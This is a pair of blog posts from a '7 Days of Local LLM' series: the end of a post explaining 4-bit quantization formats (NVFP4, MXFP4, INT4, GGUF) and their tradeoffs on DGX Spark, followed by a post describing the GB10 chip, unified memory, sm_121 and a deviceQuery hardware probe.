That is the important correction: NVFP4 does **not** use one FP32 scale for every group of 16. It uses an FP8 block scale, plus a global FP32 tensor scale.

{{day4-microscaling-animation}}

This is why 4-bit inference can work. If a layer has wildly different values, smaller local blocks reduce the damage. Outliers can still hurt. Calibration still matters. But the local scale gives the 4-bit codes a better chance to represent the important differences.

---

![Diagram 2: How microscaling actually works](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-3-microscaling.svg)

---

## Did the model train differently?

Usually, the **architecture is the same**.

A Llama model is still a Llama model. A Gemma model is still a Gemma model. A Nemotron MoE is still an MoE. Quantization usually changes the stored number format, not the transformer blocks, attention layers, tokenizer, or routing design.

But the **algorithm around the model** can differ.

There are three common paths:

| Path | What happens | Beginner translation |
|---|---|---|
| Post-training quantization (PTQ) | Train in a higher precision, then compress later | Finish the book, then make a smaller copy |
| Quantization-aware training (QAT) | Train while simulating low precision | Teach the model while showing it the compression rules |
| Native low-precision recipes | Parts of training actually use lower precision | Build the model with the smaller number system in mind |

Most downloadable 4-bit models you see are not brand-new architectures. They are usually higher-precision trained models converted into a smaller format with calibration data.

Calibration data matters because the quantizer needs examples of real activations and weight ranges. If the calibration set is weak, the compressed model can look good on easy chat and then fail on math, code, JSON, or tool use.

So when you see `AWQ`, `GPTQ`, `GGUF`, `MXFP4`, or `NVFP4`, read it as:

**same general model idea, different compression method, different kernels, different quality-speed tradeoff.**

One more beginner distinction:

**Training from scratch** means the model starts from random parameters and learns language patterns from a huge corpus. This is where the model learns broad things like grammar, facts, code patterns, reasoning habits, and tool-like behavior.

**Fine-tuning** means you start with an already trained model and adjust it for a narrower purpose. For example, you might fine-tune a base model to follow instructions, answer in a company style, write Kubernetes YAML better, or behave well in a support chatbot.

In both cases, the training loop is still about reducing prediction error. The difference is the starting point. Scratch training starts from random knobs. Fine-tuning starts from useful knobs and makes smaller targeted adjustments.

### Where Nemotron fits in this story

Day 3 used **Nemotron 3 Super** because it is the cleanest Spark example of why NVFP4 matters: a 120B-total, roughly 12B-active MoE that becomes practical on one desk machine when the artifact and engine are built for the format.

There is one important nuance. Most 4-bit models start in higher precision and get compressed later. Nemotron 3 Super is more ambitious than that. NVIDIA says the majority of floating-point multiply-accumulate work during Super pretraining ran in NVFP4, and their training docs still keep selected layers in BF16 or MXFP8 for stability. So the beginner answer is:

**Nemotron 3 Super was pretrained with an NVFP4-aware recipe, then it still went through later supervised fine-tuning and reinforcement-learning/post-training stages.**

That does not mean every tensor in every stage is pure NVFP4. It means NVIDIA designed the training recipe and Blackwell hardware path together instead of treating NVFP4 only as an after-the-fact compression step.

There is also a June 2026 update that makes this story even more interesting. NVIDIA's MaxText/JAX NVFP4 recipe shows that NVFP4 is not only an inference format. On GB200 and GB300 datacenter Blackwell systems, NVIDIA reports **1.31x to 1.73x** training throughput speedups versus an FP8 baseline for their Llama 3 8B and Llama 3.1 405B configurations, with no measurable accuracy loss in the runs they published.

But the recipe details matter:

- NVFP4 is applied to the MLP GEMMs, not blindly to every operation.
- Attention stays in higher precision because softmax and `QK^T` scores are more sensitive to quantization noise.
- The outputs of those low-precision GEMMs are BF16.
- The optimizer still keeps a higher-precision master weight path.
- The recipe uses extra tricks like 16-value micro-blocks, 2D weight scaling, Random Hadamard Transform on the weight-gradient path, and stochastic rounding.

So the beginner takeaway is not "4-bit training is always safe now." The takeaway is:

**NVFP4 training can work extremely well when the model, hardware, kernels, and recipe are designed together.**

For a single DGX Spark, I would still start training and fine-tuning in BF16 unless the exact project gives you a tested NVFP4 recipe.

## The 4-bit format zoo, in human terms

These are the formats you will actually meet.

Before the details, here is the plain-English map:

| If you see this | Think this | Beginner reaction |
|---|---|---|
| INT4 / AWQ / GPTQ | Integer 4-bit compression | Use it when the model ships that way and the engine supports it |
| MXFP4 | Open microscaling FP4 | Good if the artifact and serving stack are built for it |
| NVFP4 | NVIDIA Blackwell-native FP4 | The most important Spark format for supported large-model serving |
| GGUF Q4_K_M | Practical local 4-bit-ish model file | Best default for easy Ollama/llama.cpp-style local chat |
| IQ3 / IQ2 | Very small GGUF-style compression | Useful for experiments, risky for quality |

Another way to say it: all of them try to make the model smaller, but they do not all use the same math or the same engine path. A GGUF file in Ollama and an NVFP4 artifact in vLLM/NIM can both be "small," but Spark runs them through very different software paths.

### 1. INT4: AutoRound, GPTQ, AWQ

INT4 stores weights as 4-bit integers. A common signed range is -8 to 7, but the exact layout depends on the method. Some schemes are symmetric. Some are asymmetric and store a zero-point offset.

The simple picture: INT4 is like packing each weight into a tiny numbered bucket, then storing a scale that explains what those bucket numbers mean. It is not floating point. It is integer compression plus scales.

On GPUs, many INT4 kernels dequantize on the fly before doing the math. That does not always mean a separate memory round trip, but it does mean extra conversion work and a different kernel path from Blackwell's native FP4 tensor cores.

When to use it:

- the model only ships as AWQ/GPTQ
- you already have a serving stack built around it
- you accept that quality and speed are calibration-dependent

### 2. MXFP4: microscaling FP4

MXFP4 comes from the OCP Microscaling format family. It uses:

- FP4 E2M1 values
- block size 32
- E8M0 scale

E8M0 sounds strange, but the simple version is: the scale is exponent-only, so it behaves like a power-of-two scale. That makes it simple and hardware-friendly, but less flexible than NVFP4's FP8 E4M3 scale.

Think of MXFP4 as the cross-vendor microscaling route. It is trying to make 4-bit floating point useful by giving small groups of values their own ruler.

When to use it:

- the model ships in MXFP4
- the engine supports it well
- you want a cross-vendor microscaling format

### 3. NVFP4: NVIDIA's Blackwell-focused FP4

NVFP4 is NVIDIA's FP4 format for Blackwell. It uses:

- FP4 E2M1 values
- block size 16
- FP8 E4M3 scale per block
- FP32 scale per tensor

Compared with MXFP4, NVFP4 uses smaller groups and a finer scale. In NVIDIA's published DeepSeek-R1-0528 example, NVFP4 stayed within about 1% of FP8 on several listed evals, but do not treat that as a universal law. Quality depends on the model, the quantization recipe, and the workload.

Think of NVFP4 as the Blackwell-native route. It matters for Spark because the GB10 GPU speaks this family of formats directly through the Blackwell tensor-core path.

When to use it:

- the model has a good NVFP4 artifact
- you are using a Blackwell-aware engine such as vLLM, TensorRT-LLM, or NIM
- you want large-model serving on Spark

This is the format Spark is clearly designed to make interesting.

### 4. GGUF Q4_K_M and friends

GGUF is the llama.cpp model file ecosystem. Ollama, Docker Model Runner, LM Studio, and llama.cpp workflows commonly use GGUF-style artifacts.

`Q4_K_M` is one of the most popular practical defaults: small enough to fit, usually good enough for chat, and widely available.

Important nuance: Q4_K_M is **not** an FP-class format like NVFP4 or MXFP4. It is part of llama.cpp's K-quant family. It can be excellent in practice, but it is a different storage format and a different inference engine path.

Think of GGUF Q4_K_M as the practical local route. It is popular because the model catalog is huge and the setup is friendly, not because it is the same thing as Blackwell-native NVFP4.

When to use it:

- you want the easiest local setup
- you want the broadest model availability
- you are using Ollama, llama.cpp, Docker Model Runner, or LM Studio

### 5. IQ3_XXS, IQ3_S, IQ2_M, IQ1_M

These are extreme GGUF-style quantizations. They use importance weighting to squeeze models below normal 4-bit sizes.

The tradeoff is quality. They can be useful for simple chat, summaries, and experiments, but I would be careful using them for coding, math, long tool chains, or anything where exact behavior matters.

Think of these as the "fit at almost any cost" route. They are fun and useful, but not the first place I would go when correctness matters.

When to use them:

- you want to fit a larger model into a tighter memory budget
- you want maximum tok/s
- you can accept visible quality loss

---

![Diagram 3: Bytes per parameter across formats](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-3-bytes-per-param.svg)

---

## Quality vs bytes per parameter

Here is the practical cheat sheet. Treat the quality column as directional, not as a benchmark promise.

| Format | Practical bytes per param | Quality story | Notes |
|---|---:|---|---|
| FP32 | 4.0 | reference | too large for normal LLM serving |
| BF16 | 2.0 | training and high-quality baseline | Spark training default |
| FP8 E4M3 | 1.0 | often very close to BF16/FP16 | strong speed-memory tradeoff |
| NVFP4 | ~0.56 | close to FP8 in NVIDIA-published examples, workload-dependent | Blackwell native, 16-value blocks |
| MXFP4 | ~0.53 | useful 4-bit microscaling, usually less flexible than NVFP4 | OCP MX format, 32-value blocks |
| GGUF Q4_K_M | ~0.55 to ~0.65 | strong local-chat default, varies by model | llama.cpp ecosystem |
| INT4 GPTQ/AWQ | ~0.5 plus metadata | calibration-dependent | older/common 4-bit path |
| GGUF IQ3_XXS | ~0.35 to ~0.4 | quality drops faster | extreme compression |

The curve gets steep below 4 bits. Going from 4-bit-ish to 3-bit-ish can save memory, but the model usually becomes more fragile on hard tasks.

These bytes-per-param numbers are storage mental models, not exact file promises. Real files include scales, metadata, tokenizer files, special layers that stay higher precision, and engine-specific packing. That is why NVFP4 is not exactly 0.5 bytes/param in practice, and why two GGUF files with the same headline quant can still differ a bit.

My Spark recommendation:

- **Training or fine-tuning base:** BF16
- **Large-model serving with a supported artifact:** NVFP4
- **Easy local chat and model variety:** GGUF Q4_K_M
- **When the model ships that way:** FP8 or MXFP4
- **Only if that is all you have:** AWQ/GPTQ INT4

---

![Diagram 4: Quality vs bytes per param, the Pareto curve](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-4-pareto.svg)

---

## What this looks like on Spark, with real numbers

The hardware story from Day 2 and Day 3 still applies:

**Decode is often memory-bandwidth-bound.**

During decode, the model repeatedly reads weights to produce the next token. If the weights are smaller, less data has to move. That is why quantization can improve tok/s.

But do not compare every number blindly. A benchmark changes when you change:

- the model
- the quantization format
- the engine
- the batch size or concurrency
- the prompt and output length

A community [Spark Arena](https://spark-arena.com) snapshot for Gemma 4 26B-A4B-it showed the expected pattern across formats:

| Format | Approx bytes per param | Batched tok/s snapshot | Read this as |
|---|---:|---:|---|
| BF16 | 2.0 | ~12 | high-quality baseline |
| FP8 | 1.0 | ~22 | smaller and faster |
| NVFP4 | ~0.56 | ~52 | much smaller, strong aggregate serving path |

That table is useful as a pattern, not as a law. Always check the exact artifact and engine.

Now the Qwen3.6-28B-REAP point.

The [Qwen3.6-28B-REAP GGUF page](https://huggingface.co/mradermacher/Qwen3.6-28B-REAP-i1-GGUF) lists many quantized file sizes. The important correction is:

- Around **13-15 GB** is more like Q3_K_M / Q3_K_L / aggressive GGUF territory.
- **Q4_K_M** is closer to **17-18 GB**.

So if I say "roughly 14 GB", I should not call that Q4_K_M. It is an aggressive GGUF quant. The rough concurrency math is still useful:

`273 GB/s / ~14 GB = ~19.5 tok/s per idealized stream`

With batching/concurrency, an engine can raise **aggregate** throughput because multiple requests share the same model reads more efficiently. That is how a result around 150 tok/s aggregate can make sense. It is not a single-user decode prediction, and it is not magic. It is batching plus smaller weights.

Here are the numbers from this series that I am using in this post:

| Number | Source | What it means |
|---|---|---|
| `gemma4:26b` at **58.02 tok/s** | My Spark, Ollama format sweep, 2026-05-21 | Local single-stream decode through Ollama/GGUF-style artifact |
| `nemotron-3-super:latest` at **17.71 tok/s** | My Spark, Ollama format sweep, 2026-05-21 | Day 4 canonical sweep number for the GGUF/Ollama artifact |
| Nemotron 3 Super at **19.5 tok/s** | My Spark, separate Day 3 local run | Same broad model story, but a different run from the Day 4 sweep |
| Qwen2.5-3B BF16 at **26.14 -> 1462.30 tok/s aggregate** | My Spark, vLLM concurrency sweep, 2026-05-21 | Concurrency 1 to 64, max_tokens=512 |
| Gemma 4 31B IT NVFP4 at **6.15 -> 166.36 tok/s aggregate** | My Spark, vLLM concurrency sweep, 2026-05-21 | Concurrency 1 to 32, max_tokens=512 |
| Nemotron 3 Super NVFP4 around **~38 tok/s** | NVIDIA-published Spark/NIM/TensorRT-LLM path | Published NVFP4 artifact/engine path, not my Ollama GGUF run |

---

![Diagram 5: Real Spark throughput snapshots](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-5-throughput-formats.svg)

---

## The training paradox: NVFP4 can lose to BF16 for training

This is the part that feels backwards at first.

For inference, NVFP4 can be excellent because you mainly read weights and run the forward pass.

For training, you also need:

- forward pass
- loss computation
- backward pass
- gradients
- optimizer updates

Gradients are sensitive. If they lose too much detail, training can become noisy or unstable. That is why many practical training recipes still use BF16 or FP8, even when inference wants 4-bit.

This section exists because Nemotron can make the story look confusing. If NVIDIA can pretrain Nemotron with an NVFP4-aware recipe, why not always train everything in NVFP4 on Spark? The answer is that a large NVIDIA pretraining recipe on Blackwell datacenter GPUs and a small local Spark training run are not the same workload. Recipes, kernels, optimizer states, and stability choices matter.

Raphael Amorim posted single-DGX-Spark nanochat pretraining measurements on the [NVIDIA developer forums](https://forums.developer.nvidia.com/t/pre-training-nanochat-on-dgx-spark-standalone-and-clustered-mode/349604):

| Format | Training throughput | Wall-clock for 560M model |
|---|---:|---:|
| BF16 | ~17,500 tok/s | ~11 days |
| NVFP4 | ~13,000 tok/s | ~14 days |

So for that training recipe on Spark, BF16 was faster. I would not frame this as "NVFP4 is bad." I would frame it as:

**NVFP4 training is recipe-specific. On datacenter Blackwell systems, NVIDIA is already showing strong NVFP4 training recipes. On a single Spark, BF16 is still the safe default unless your exact stack has a tested NVFP4 training path.**

This can change as kernels and recipes mature. But for this series, the practical recommendation is simple:

**If you are training or fine-tuning on Spark, start with BF16 unless the recipe explicitly says otherwise.**

---

![Diagram 6: Inference vs training, the format flip](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-6-train-vs-inf.svg)

---

## Are the algorithms different?

The high-level model algorithm is usually the same: take tokens in, run transformer math, predict the next token.

The low-level serving algorithm can be very different.

Here is the beginner version:

| Layer | What changes with quantization? |
|---|---|
| Model architecture | Usually no. Same transformer/MoE shape. |
| Stored weights | Yes. BF16, FP8, NVFP4, GGUF, INT4 store numbers differently. |
| Kernel math | Yes. The GPU code path can be completely different. |
| Calibration | Yes. Some formats need calibration data to compress safely. |
| Quality | Yes. The same model can behave differently after compression. |
| Speed | Yes. Smaller weights can be faster, but engine support matters. |

This is why you can run "the same model" in two formats and get different tok/s or slightly different answers.

## Specific cases: when each format wins

**You want the safest quality.** Use BF16 or FP8 if it fits and the speed is acceptable.

**You want large-model serving on Spark.** Use NVFP4 if the model has a well-supported NVFP4 release and your engine supports it.

**You want the easiest local experience.** Use GGUF Q4_K_M through Ollama, llama.cpp, Docker Model Runner, or LM Studio.

**You want the widest model catalog.** Use GGUF. Almost every popular model gets a GGUF release somewhere.

**You want to fine-tune.** Use BF16 base weights plus LoRA adapters unless the project gives you a tested low-precision recipe.

**You want to pretrain from scratch.** Use BF16 on Spark. That is the sane default.

**You see AWQ or GPTQ in a model name.** That is an INT4-style quantized artifact. It can work, but it is not the same as NVFP4.

**You see MXFP4.** Think "OCP microscaling FP4." Good if the model ships that way and your engine supports it.

**You see IQ3_XXS.** Think "very small, quality-risky." Great for experiments, not my first pick for serious reasoning.

---

![Diagram 7: Format decision tree](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-7-format-tree.svg)

---

## The simple mental model

If this post felt like a lot, keep only this:

**FP32/BF16/FP8/NVFP4 are different ways of writing down the model's numbers.**

The model is still doing matrix math. The transformer architecture usually does not change. But the number format decides:

- how much memory the model needs
- how much data Spark reads per token
- which GPU kernels can run
- how much quality you might lose
- whether the format is good for inference, training, or both

On Spark, format choice is not a footnote. It is the difference between "doesn't fit", "fits but slow", and "actually usable."

## What is coming in Day 5

In Day 5 we cover **the inference engines**: Ollama, llama.cpp, vLLM, SGLang, Docker Model Runner, LM Studio, and NVIDIA NIM containers.

Same hardware, same model family, different engine - and suddenly the numbers move. That is the next layer of the story.

See you in Day 5.

---

*References for this post: my own canonical captures (Ollama format sweep, Gemma 4 31B IT NVFP4 vLLM concurrency sweep, and Qwen2.5-3B BF16 vLLM concurrency sweep on this Spark, **2026-05-21**), [NVIDIA NVFP4 technical blog](https://developer.nvidia.com/blog/introducing-nvfp4-for-efficient-and-accurate-low-precision-inference/), [NVIDIA MaxText/JAX NVFP4 training blog](https://developer.nvidia.com/blog/train-models-faster-with-jax-and-maxtext-using-nvfp4-on-nvidia-blackwell/), [NVIDIA Transformer Engine NVFP4 docs](https://nvidia.github.io/TransformerEngine/features/low_precision_training/nvfp4/nvfp4.html), [NVIDIA Nemotron 3 Super technical blog](https://developer.nvidia.com/blog/introducing-nemotron-3-super-an-open-hybrid-mamba-transformer-moe-for-agentic-reasoning/), [NVIDIA Nemotron 3 Super docs](https://docs.nvidia.com/nemotron/nightly/nemotron/super3/pretrain.html), [Spark Arena leaderboard](https://spark-arena.com) (community, dated snapshots), [Pre-training Nanochat on DGX Spark forum thread](https://forums.developer.nvidia.com/t/pre-training-nanochat-on-dgx-spark-standalone-and-clustered-mode/349604), [Qwen3.6-35B-A3B-FP8 vLLM benchmarks on Spark](https://rikkarth.com/blog/2026-04-23-benchmark-results-for-qwen-qwen3-6-35b-a3b-fp8-nvidia-dgx-spark-gb10-serving-via-vllm), [Qwen3.6-28B-REAP GGUF](https://huggingface.co/mradermacher/Qwen3.6-28B-REAP-i1-GGUF), and [OCP Microscaling specification](https://www.opencompute.org/documents/ocp-microscaling-formats-mx-v1-0-spec-final-pdf).*

---

# Day 3: The DGX Spark Unpacked. GB10, Unified Memory, sm_121, and the One Reason This Hardware Exists

- Canonical: https://blog.kubesimplify.com/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists
- Published: 2026-06-05
- Summary: A practical teardown of NVIDIA DGX Spark's GB10 Grace Blackwell Superchip, unified memory, sm_121, NVFP4 tensor cores, memory reporting, and decode limits.

*Day 3 of "7 Days of Local LLM". A field guide to running serious LLMs on a $4,699 box on your desk.*

---

In [Day 2](/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step) we followed a single LLM request from prompt to answer and learned that **memory bandwidth, not compute, is the bottleneck for decode**. Today we open the DGX Spark itself and see why this particular hardware was designed the way it was.

By the end of this post, you'll know:
- What's in the GB10 Grace Blackwell Superchip
- What "unified memory" actually means (it's not what your Mac does)
- Why the Spark's GPU has compute capability **12.1** (sm_121), and why that is NOT the same as the **10.0** (sm_100) inside an NVIDIA B200
- What NVFP4 native tensor cores buy you
- How to read memory state on a Spark (and why `nvidia-smi` lies)

This is also the post that explains why the Spark feels different from every other consumer GPU you've used. The differences are real, intentional, and load-bearing for everything that follows.

Day 1 was the *why*. Day 2 was the *request path*. Day 3 is the *machine itself*.

Here's the lens to read this whole post through: once you internalize that decode is memory-bandwidth-bound, the Spark stops looking like a small GPU workstation and starts looking like something more specific, **a memory-first LLM box**. It is not trying to be a tiny H100. It is trying to give you one big shared memory pool on your desk, plus enough Blackwell tensor-core support to make large models usable. Almost everything below is a consequence of that single design choice.

{{gb10-memory-animation}}

## What's inside the box

The DGX Spark is small. About the size of a hardback book on its side, 1.2 kg, fits under a monitor. It runs NVIDIA DGX OS 7.5.0, which is Ubuntu 24.04-based. Boots in under a minute. On my unit, the system idles around 4-6 watts and peaks near 150 watts under sustained inference load; NVIDIA's published spec sheet uses a higher system power envelope, and exact numbers depend on workload and ambient temp.

Inside is **one main package**, not a normal desktop CPU plus a separate add-in GPU. It's called the GB10 Grace Blackwell Superchip, and it's a co-design with MediaTek on TSMC's 3nm process. On that package you get:

- A **Grace CPU**: 20 ARM cores split as 10 Cortex-X925 (performance) and 10 Cortex-A725 (efficiency), running up to 4.0 GHz. ARMv9.2-A with SVE2, BF16, and i8mm instructions (so the CPU itself is useful for some inference work).
- A **Blackwell GPU**: 48 Streaming Multiprocessors (SMs), 6,144 CUDA cores total, max clock 2.42 GHz, compute capability **12.1** (we'll come back to this).
- **128 GB of LPDDR5x unified memory**: shared between CPU and GPU at ~273 GB/s.
- An **NVLink C2C** chip-to-chip interconnect between the two dies on the same package.
- **External I/O**: 10 GbE, Wi-Fi 7, USB-C/HDMI, and ConnectX-7 networking for linking Spark systems.

That's the whole show. One package, two dies, one memory pool.

Small timely aside: on June 1, 2026, [NVIDIA and Microsoft announced NVIDIA RTX Spark](https://nvidianews.nvidia.com/news/nvidia-microsoft-windows-pcs-agents-rtx-spark), a related Grace-plus-Blackwell idea for Windows laptops and compact desktops with up to 128 GB of unified memory. Different product from DGX Spark, but I am excited about that machine too because the NVIDIA + Windows ecosystem coming together could make local agents and local AI workflows feel much more mainstream.

Before we move on, let's decode the spec-sheet words because they show up everywhere:

- **TSMC's 3nm process** is the manufacturing node used to build the silicon. Smaller nodes usually help with transistor density and power efficiency, but they are not a direct performance number. For us, the practical point is that GB10 can pack a Grace CPU, a Blackwell GPU, and the memory fabric into a compact, low-power desktop package.
- **Grace CPU** is the general-purpose side of the system. It runs the OS, Docker, Python, tokenization, scheduling, networking, storage, and any CPU-side parts of inference. The GPU does the heavy matrix math; the CPU keeps the whole machine moving.
- **ARM cores** are CPU cores based on the Arm architecture, not x86 like most Intel/AMD desktops. The practical difference for beginners: some software may need Arm-compatible builds, but modern Linux containers and NVIDIA's stack cover the core AI workflow well.
- **Cortex-X925 and Cortex-A725** are two kinds of Arm CPU cores. The X925 cores are the fast cores for heavier work. The A725 cores are efficiency cores for lighter/background work. Splitting them helps the system stay responsive without burning max power all the time.
- **Up to 4.0 GHz** is the peak CPU clock. It is useful for bursty CPU tasks like preprocessing, installing packages, or moving data around, but LLM generation still mostly depends on GPU memory bandwidth.
- **ARMv9.2-A with SVE2, BF16, and i8mm** means the CPU supports modern vector and low-precision math instructions. You do not need to memorize the acronyms. In plain English: if some AI/math work falls back to the CPU, the CPU has instructions that make that work less terrible.
- **Streaming Multiprocessors (SMs)** are the GPU's main work blocks. Each SM schedules groups of threads and contains CUDA cores, tensor cores, registers, cache, and shared memory. When `deviceQuery` says 48 SMs, it means the GPU has 48 of these parallel work islands.
- **CUDA cores** are the scalar execution lanes inside those SMs. They are useful for general CUDA math, but most LLM matrix math runs on tensor cores, not plain CUDA cores. So 6,144 CUDA cores is useful context, not the whole AI-performance story.
- **Max clock 2.42 GHz** is the peak GPU core frequency. It tells you how fast the GPU can tick under boost, but LLM decode usually waits on memory bandwidth, not clock speed. A higher clock helps only when the workload is compute-bound.
- **Compute capability 12.1** is the CUDA architecture target, written as `sm_121`. Compilers and libraries use this number to decide which GPU instructions and kernels they can load.
- **LPDDR5x** is low-power DDR memory, the same memory family used in high-end laptops and mobile SoCs. On Spark it is wired as a 256-bit, coherent unified memory pool: slower than HBM, but big, efficient, and shared by CPU and GPU.
- **NVLink C2C** is the chip-to-chip link between the Grace CPU die and the Blackwell GPU die. It is not the same thing as multi-GPU NVLink between separate accelerators. Here its job is to make the two dies behave like one coherent system.

## Unified memory: not the same as Apple Silicon

Both Apple Silicon and the GB10 advertise "unified memory." Both share memory between CPU and GPU. They are NOT the same architecture, and the differences matter.

**Apple Silicon (M-series)**: CPU and GPU sit on the same die and access the same memory pool through a unified memory controller. Bandwidth is high (~800 GB/s on M3 Ultra), capacity is huge (up to 512 GB on Mac Studio). Address spaces are coherent.

This is why Apple's **MLX** framework exists: it is built for Apple Silicon's shared-memory model instead of treating the GPU like a separate VRAM device. If you want the Mac side of this story, I wrote a full deep dive here: [mlxcel: A Rust-Native Inference Engine for Apple Silicon](/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max).

**NVIDIA GB10 (Spark)**: CPU and GPU are on separate dies on the same package. They share memory via Address Translation Services (ATS): a hardware feature that maps GPU and CPU virtual addresses to the same physical pages. The bandwidth is ~273 GB/s. Capacity is 128 GB. Address spaces are coherent.

Same idea, slightly different implementations. The practical implication: **on a Spark, when you allocate memory from CPU code, the GPU can read it without any `cudaMemcpy` call.** This is enormous for inference engines that used to spend significant time shuffling tensors between host and device.

The slightly painful flip side: there's no separate "GPU memory" you can query. Tools like `nvidia-smi --query-gpu=memory.used` literally return `[N/A]` on a Spark. There is no "GPU memory used" because there's no separate GPU memory. The pool is one.

Here's the practical rule for Spark's unified memory. The short version: **stop reading `nvidia-smi` for memory state on Spark. Read `free -h available` instead.**

---

![Diagram 2: How unified memory works on Spark](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-2-unified-memory.png)

---

## A real probe: what `deviceQuery` says about your Spark

If you run NVIDIA's official `deviceQuery` sample (the diagnostic tool from the CUDA samples) inside a CUDA 13 container on a Spark, you get a very useful hardware snapshot.

One way to reproduce it:

```bash
docker run --rm --gpus all nvidia/cuda:13.0.0-devel-ubuntu24.04 bash -lc '
  apt-get update >/dev/null &&
  apt-get install -y --no-install-recommends git make g++ >/dev/null &&
  git clone --depth 1 https://github.com/NVIDIA/cuda-samples /tmp/cuda-samples >/dev/null &&
  make -C /tmp/cuda-samples/Samples/1_Utilities/deviceQuery -j"$(nproc)" >/dev/null &&
  /tmp/cuda-samples/Samples/1_Utilities/deviceQuery/deviceQuery
'
```

Here's a real output captured from my Spark:

```
Device 0: "NVIDIA GB10"
  CUDA Driver Version / Runtime Version 13.0 / 13.0
  CUDA Capability Major/Minor version number: 12.1
  Total amount of global memory: 122,570 MBytes
  (048) Multiprocessors, (128) CUDA Cores/MP: 6,144 CUDA Cores
  GPU Max Clock rate: 2,418 MHz (2.42 GHz)
  Memory Clock rate: 8,533 MHz
  Memory Bus Width: 256-bit
  L2 Cache Size: 25,165,824 bytes (24 MB)
  Concurrent copy and kernel execution: Yes with 1 copy engine(s)
  Integrated GPU sharing Host Memory: Yes
  Device supports Managed Memory: Yes
```

Small caveat: NVIDIA's public hardware overview lists **2 copy engines**, while my captured `deviceQuery` output reported **1 copy engine**. I would not build a performance argument on that field until re-checking a fresh sample/driver combination.

Three numbers in there matter most.

**122,570 MB total global memory.** That's the full 128 GB pool, minus reserved firmware regions. About 119 GiB usable in practice (some of it goes to the OS, some to firmware).

**256-bit memory bus × 8,533 MT/s effective memory rate ≈ 273 GB/s.** This is the most important number on the chip. It's your decode ceiling for any single model.

**Compute capability 12.1.** This is the number that explains every weird software bug you'll hit. We talk about it next.

---

![Diagram 3: deviceQuery as a chip summary](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-3-devicequery.png)

---

## sm_121 vs sm_100: the Blackwell that isn't datacenter Blackwell

This is the section every reviewer skips and every Spark owner eventually learns the hard way.

NVIDIA's "compute capability" is a version number that identifies what your GPU's instruction set looks like. Every GPU has one. Code is compiled for specific compute capabilities, which is why prebuilt PyTorch wheels sometimes "don't work" on new hardware.

Here's the relevant slice of the family tree:

| Compute capability | Architecture | Class | Examples |
|---|---|---|---|
| `sm_80` | Ampere | datacenter | A100 |
| `sm_86` | Ampere | consumer | RTX 3090, A40 |
| `sm_89` | Ada Lovelace | consumer | RTX 4090, L40 |
| `sm_90` | Hopper | datacenter | H100, H200 |
| **`sm_100`** | **Blackwell** | **datacenter** | **B100, B200, GB200** |
| `sm_120` | Blackwell | consumer | RTX 5090, RTX 5080 |
| **`sm_121`** | **Blackwell** | **consumer/workstation** | **GB10 (your Spark)** |

What you should notice: **Blackwell is not one CUDA target.** NVIDIA's current compute-capability table splits Blackwell-era parts across different major/minor targets, including `sm_100` for B200/GB200, `sm_120` for RTX Blackwell cards, and `sm_121` for GB10. The practical point for Spark owners is simple: software built only for datacenter Blackwell (`sm_100`) is not automatically a native match for GB10 (`sm_121`).

A kernel compiled only for `sm_100` can use code paths that are not valid for `sm_121`. It won't crash gracefully. It often just refuses to load. If you've ever pulled a prebuilt vLLM image that worked on a B200 and watched it die on your Spark, this is why.

The split also means: many libraries ship prebuilt cubins for `sm_80, sm_86, sm_89, sm_90, sm_120` and stop. **`sm_121` is the youngest member of the family** and frequently the last to get explicit support. Workarounds exist (PTX forward compat from sm_120, source rebuilds, community Docker images), and we'll cover them later in the series.

---

![Diagram 4: The compute capability family tree](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-4-compute-cap-tree.png)

---

## NVFP4: the format the Spark was built for

The most important thing the Blackwell tensor cores added is native execution of a 4-bit floating-point format called **NVFP4**.

A normal FP32 number is 32 bits: 1 sign + 8 exponent + 23 mantissa. FP16 is 16. FP8 is 8. NVFP4 is 4 bits per number. That's tiny: you only get about 16 distinct values per weight.

Naively that would destroy model quality. The trick: **microscaling**. NVFP4 groups every 16 weights into a "block" and stores a high-precision FP8 scale factor for the whole block. The 4 bits encode the position within the block's range; the shared scale factor tells you what range that is.

{{nvfp4-microscaling-animation}}

Compare the three current 4-bit formats:

| Format | Block size | Per-block scale | Notes |
|---|---|---|---|
| INT4 (AutoRound, GPTQ) | 32-128 weights | FP16 scale + INT4 zero-point | Calibrated offline; lossy |
| MXFP4 | 32 weights | E8M0 (8-bit exponent only) | Hardware encoded; coarse |
| **NVFP4** | **16 weights** | **FP8 (E4M3) scale** | **Hardware encoded; finest** |

NVFP4 has the smallest blocks (16 weights) and the highest-fidelity scale (FP8). That means it adapts to local weight variations more finely than the alternatives. In NVIDIA's published material, NVFP4 stays close to FP8 quality on most evals while taking half the bytes per parameter. The next quantization deep dive has the full quality-vs-size breakdown.

**Why the Spark cares so much**: NVFP4 shrinks a model by nominally 4x vs BF16 (about 3.5x in practice, once you count the per-block scale factors and the layers that stay higher precision). On a 273 GB/s decode-bound machine, cutting bytes-per-parameter that much roughly doubles your decode throughput. **NVFP4 is the format that makes a 120-billion parameter Nemotron 3 Super run usefully on a single Spark.**

This is where the **Nemotron 3** family becomes important. Nemotron 3 is NVIDIA's open model family for agentic workloads: Nano is the smaller efficient tier, Super is the Spark-relevant 120B-A12B MoE tier, and Ultra is the frontier tier. Super is the one we care about on this machine because its NVFP4 artifact is a practical example of why the Spark exists: a model that would be awkward or impossible on normal consumer VRAM becomes a real local workload when the weights are compressed into a large shared memory pool.

